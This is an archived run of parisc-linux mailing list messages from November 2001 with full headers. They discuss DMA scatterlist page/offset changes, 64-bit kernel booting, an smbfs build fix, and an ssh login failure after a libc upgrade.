Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620768 30161 80.91.229.3 (22 Nov 2014 01:46:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:08 +0000 (UTC)
Cc: willy@debian.org, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 09:58:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 148026120
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 09:58:13 -0700 (MST)
Original-Received: from localhost (IDENT:davem@pizda.ninka.net [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id IAA18876;
	Fri, 16 Nov 2001 08:57:54 -0800
In-Reply-To: <200111161632.JAA25977@puffin.external.hp.com>
X-Mailer: Mew version 2.0 on Emacs 21.0 / Mule 5.0 (SAKAKI)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13098

   From: Grant Grundler <grundler@puffin.external.hp.com>
   Date: Fri, 16 Nov 2001 09:32:52 -0700

   > I suggest you do this now, it is totally painless.  I would almost
   > classify it as a mindless edit.
   
   Adding two members to a struct is not the problem.
   The problem is revisiting every usage of ->address in the DMA code
   and telling driver writers they should be using page+offset.
   
Note the "should", nobody forces them to use page+offset in
a driver and 2.4.x will NEVER require it.  They just won't
be able to DMA highmem pages, that's all.

The DMA code is so simple to fix ("mindless edit" is still how I
classify it) and you have _THREE_ (count them, 3) platform IOMMU code
patch examples to work with (alpha, sparc64, ia64).

Franks a lot,
David S. Miller
davem@redhat.com



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 10:06:57 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <200111161706.KAA26099@puffin.external.hp.com>
References: <davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620769 30165 80.91.229.3 (22 Nov 2014 01:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:09 +0000 (UTC)
Cc: willy@debian.org, linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 10:11:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22D39482E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 10:11:56 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA26099;
	Fri, 16 Nov 2001 10:06:57 -0700
In-Reply-To: Message from "David S. Miller" <davem@redhat.com> 
   of "Fri, 16 Nov 2001 08:57:54 PST." <20011116.085754.00483458.davem@redhat.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13099

"David S. Miller" wrote:
> Note the "should", nobody forces them to use page+offset in
> a driver and 2.4.x will NEVER require it.  They just won't
> be able to DMA highmem pages, that's all.

ok.  That's what I wanted to hear.

thanks,
grant



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: parisc scatterlist doesn't want page/offset
Date: Fri, 16 Nov 2001 17:31:22 +0000 (GMT)
Lines: 14
Approved: news@gmane.org
Message-ID: <E164mpm-0004a2-00@the-village.bc.nu>
References: <200111161644.JAA26017@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620769 30166 80.91.229.3 (22 Nov 2014 01:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:09 +0000 (UTC)
Cc: willy@debian.org (Matthew Wilcox),
	davem@redhat.com (David S. Miller), linux-mm@kvack.org,
	parisc-linux@lists.parisc-linux.org
To: grundler@puffin.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 10:25:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0803D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 10:25:07 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 164mpm-0004a2-00; Fri, 16 Nov 2001 17:31:22 +0000
In-Reply-To: <200111161644.JAA26017@puffin.external.hp.com> from "Grant Grundler" at Nov 16, 2001 09:44:57 AM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13100

> Until page/offset completely replaces address, I see a net increase
> in cycles for parisc (probably most archs) with only a tangible benefit
> for i386. Seems like the burden should be on the i386 folks to not
> impact other arches.
> My main gripe is adding this to 2.4 seems like the wrong time/place.
> I'm happy to revisit this in 2.5.

Its a bad impact on x86 so unfortunately it does need doing and I agree with
Dave - DaveM rarely implements something that is x86 beneficial but harms 
his beloved sparc64 without good reason.

Alan



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64bit kernels boot on C200 (finally) :)
Date: Fri, 16 Nov 2001 13:02:33 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20011116130233.D10936@beavis.ybsoft.com>
References: <20011115123203.A2337@beavis.ybsoft.com> <20011115200102.E25491@parcelfarce.linux.theplanet.co.uk> <20011116173740.A7011@marmite.its.uct.ac.za>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620769 30170 80.91.229.3 (22 Nov 2014 01:46:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Michael Wood <mwood@its.uct.ac.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 13:02:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id B278D482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 13:02:34 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 5C3CEBDB3; Fri, 16 Nov 2001 13:02:33 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20011116173740.A7011@marmite.its.uct.ac.za>
User-Agent: Mutt/1.3.22i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13101

> The last time I tried a 64 bit kernel with lasi_82596.c (a few
> weeks ago), the network card would not work.  When the driver
> loaded it complained that sizeof(somestruct) was 64.  I had a
> look at the code and saw that it was expecting it to be 32.

yeah, I was confused.  C200 has tulip, K460 has lasi_82596.  Talking
with Richard Hirst, it sounds like making this driver 64-bit clean
would be non-trivial ... so this will probably be one of my pet
project that takes a year to get finished :)

> I've been using 32 bit kernels since then.  I don't think
> lasi_82596.c has changed significantly since I last tried it in
> a 64 bit kernel.
> 
> This was on a D270.

Cool, if your D270 also uses it, maybe you will get it ported
before I do :)

- Ryan



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs doesn't build
Date: Fri, 16 Nov 2001 22:46:44 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20011116224644.A29212@dogbert.localdomain>
References: <20011109173315.C11633@dogbert.localdomain> <20011109092551.A3053@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620770 30173 80.91.229.3 (22 Nov 2014 01:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 13:46:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47DF6482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Nov 2001 13:46:22 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #6)
	id 164psQ-0005yb-00
	for parisc-linux@lists.parisc-linux.org; Fri, 16 Nov 2001 22:46:18 +0200
Original-Received: (qmail 15891 invoked from network); 16 Nov 2001 20:46:15 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 16 Nov 2001 20:46:15 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164psq-0007bY-00; Fri, 16 Nov 2001 22:46:44 +0200
Content-Disposition: inline
In-Reply-To: <20011109092551.A3053@tausq.org>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164psQ-0005yb-00*V75RWBoc84o* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13102

Hello,

On Fri, 09 Nov 2001, Randolph Chung wrote:

> In reference to a message from Albert Strasheim, dated Nov 09:

<snipple>

> i have a patch in my tree that adds back some of these things that are
> in other archs but not in parisc. will clean it up and post RSN.

Any update on this? I'm not particularly anxious, but I'd like to have
my 720 be useful for something. :-) Or is the recent 2.4.14 merge going
to delay this fix?

Regards,

Albert



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Sound on 720/50
Date: Fri, 16 Nov 2001 23:06:02 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20011116230602.B29212@dogbert.localdomain>
References: <200111151120.EAA26215@udlkern.fc.hp.com> <20011115153620.A22881@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="IS0zKkzwUGydFO0o"
X-Trace: ger.gmane.org 1416620770 30179 80.91.229.3 (22 Nov 2014 01:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 16 14:05:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id ED2A9482C
	for <parisc-linux@parisc-linux.org>; Fri, 16 Nov 2001 14:05:58 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #6)
	id 164qB5-0007EM-00
	for parisc-linux@parisc-linux.org; Fri, 16 Nov 2001 23:05:35 +0200
Original-Received: (qmail 15938 invoked from network); 16 Nov 2001 21:05:32 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 16 Nov 2001 21:05:32 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 164qBW-0007dE-00
	for <parisc-linux@parisc-linux.org>; Fri, 16 Nov 2001 23:06:02 +0200
Content-Disposition: inline
In-Reply-To: <20011115153620.A22881@dogbert.localdomain>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *164qB5-0007EM-00*vuim7L8rJbY* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13103

--IS0zKkzwUGydFO0o
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello,

An interesting update...

Playing MPEG stream from Limp_Bizkit-My_Way.mp3 ...
MPEG 1.0 layer III, 160 kbit/s, 44100 Hz joint-stereo

on my 720/50 streams smooth over 10Mbps LAN to esd running on my i386
box. Sweetness. :-) The 720 isn't up to much else though. 50 MHz of RISC
power. Muhehehe.

Regards,

Albert


--IS0zKkzwUGydFO0o
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE79X+5Dg+hOeRZtkMRAvOkAJ9tBs0z4CBwt57dbawRn0dtgU6jewCfZuWi
A8XKGhSZQFSseEwysUX95a4=
=/7JF
-----END PGP SIGNATURE-----

--IS0zKkzwUGydFO0o--



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pam/ssh seems to be whacked
Date: Sat, 17 Nov 2001 07:23:35 +0000 (UTC)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0111170713360.4966-100000@lefou.zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620770 30182 80.91.229.3 (22 Nov 2014 01:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:10 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:23:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from lefou.zayda.com (unknown [204.99.158.177])
	by dsl2.external.hp.com (Postfix) with ESMTP id 688E7482C
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 00:23:37 -0700 (MST)
Original-Received: from localhost (sonny@localhost)
	by lefou.zayda.com (8.9.3/8.9.3) with ESMTP id HAA09294
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 07:23:35 GMT
X-X-Sender: <sonny@lefou.zayda.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13104

Hi,
When attempting to install gkrellm on my b132l, apt-get upgraded a number
of other packaged including (the suspect) libc6-2.2.4-6.  Now when I
attempt to ssh into the box, I get the following error in my logs:

Nov 13 00:20:52 angstrom sshd[14365]: PAM pam_set_item: NULL pam handle
passed
Nov 13 00:20:52 angstrom sshd[14365]: Failed rsa for illegal user sonny
from 192.168.1.128 port 34113
Nov 13 00:21:07 angstrom sshd[14365]: PAM pam_set_item: NULL pam handle
passed
Nov 13 00:21:07 angstrom sshd[14365]: Failed password for illegal user
sonny from 192.168.1.128 port 34113

I upgraded to the latest version of libpam0g, libpam-runtime, and
libpam-modules, to no avail.  Needless to say, I cannot log in.

I suspect that the libc6 upgrage goofed me up somehow.  Does anybody have
an idea, or place to start debugging?

Thanks
Sonny




From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pam/ssh seems to be whacked
Date: Fri, 16 Nov 2001 23:25:24 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20011116232524.S391@tausq.org>
References: <Pine.LNX.4.33.0111170713360.4966-100000@lefou.zayda.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620770 30183 80.91.229.3 (22 Nov 2014 01:46:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:26:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9547D482C
	for <parisc-linux@parisc-linux.org>; Sat, 17 Nov 2001 00:26:09 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id mpjajaaa for parisc-linux@parisc-linux.org; Sat, 17 Nov 2001 00:20:38 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 164zqu-0003H3-00; Fri, 16 Nov 2001 23:25:24 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0111170713360.4966-100000@lefou.zayda.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13105

> I upgraded to the latest version of libpam0g, libpam-runtime, and
> libpam-modules, to no avail.  Needless to say, I cannot log in.
> 
> I suspect that the libc6 upgrage goofed me up somehow.  Does anybody have
> an idea, or place to start debugging?

correct. the way to fix this is to run, as root:

/etc/init.d/ssh restart

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] smbfs doesn't build
Date: Fri, 16 Nov 2001 23:31:16 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20011116233116.T391@tausq.org>
References: <20011109173315.C11633@dogbert.localdomain> <20011109092551.A3053@tausq.org> <20011116224644.A29212@dogbert.localdomain>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620771 30188 80.91.229.3 (22 Nov 2014 01:46:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:46:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov 17 00:31:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1C35F482C
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Nov 2001 00:31:27 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id dsjajaaa for parisc-linux@lists.parisc-linux.org; Sat, 17 Nov 2001 00:26:30 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 164zwa-0003I6-00; Fri, 16 Nov 2001 23:31:16 -0800
Content-Disposition: inline
In-Reply-To: <20011116224644.A29212@dogbert.localdomain>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13106

> > i have a patch in my tree that adds back some of these things that are
> > in other archs but not in parisc. will clean it up and post RSN.
> 
> Any update on this? I'm not particularly anxious, but I'd like to have
> my 720 be useful for something. :-) Or is the recent 2.4.14 merge going
> to delay this fix?

checked in now for include/asm-parisc/posix_types.h

i have some other ones that i'd like to look at a bit more before
checking them in.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:20:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pam/ssh seems to be whacked
Date: Sat, 17 Nov 2001 07:32:54 +0000 (UTC)
Lines: 20
